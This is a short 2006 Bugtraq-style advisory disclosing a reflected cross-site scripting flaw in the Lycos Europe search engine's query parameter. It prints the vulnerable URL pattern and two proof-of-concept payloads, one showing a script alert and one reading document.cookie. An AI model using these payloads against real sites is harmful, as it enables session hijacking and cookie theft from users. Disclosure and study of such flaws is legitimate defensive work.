Bugtraq: Lycos.com - XSS vulnerability

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Lycos.com - XSS vulnerability
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Type: Cross site scripting

Date: June, 10th 2006
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Credits:
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Discovered by: David "Aesthetico" Vieira-Kurz
http://www.majorsecurity.de
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Vulnerability:
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I found a bug in the search-engine of Lycos Europe("http://search.lycos.com";).
It is vulnerable for cross site scripting.

Sending a malicious code will result a code working on the page that pops up...

/?loc=searchbox&tab=web&adf=Off&query=[XSS CODE HERE]

This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected 
site.


Examples:
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/?loc=searchbox&tab=web&adf=Off&query=<script>alert("MajorSecurity")</script>
/?loc=searchbox&tab=web&adf=Off&query=%3Cscript%3Ealert(document.cookie)%3C/script%3E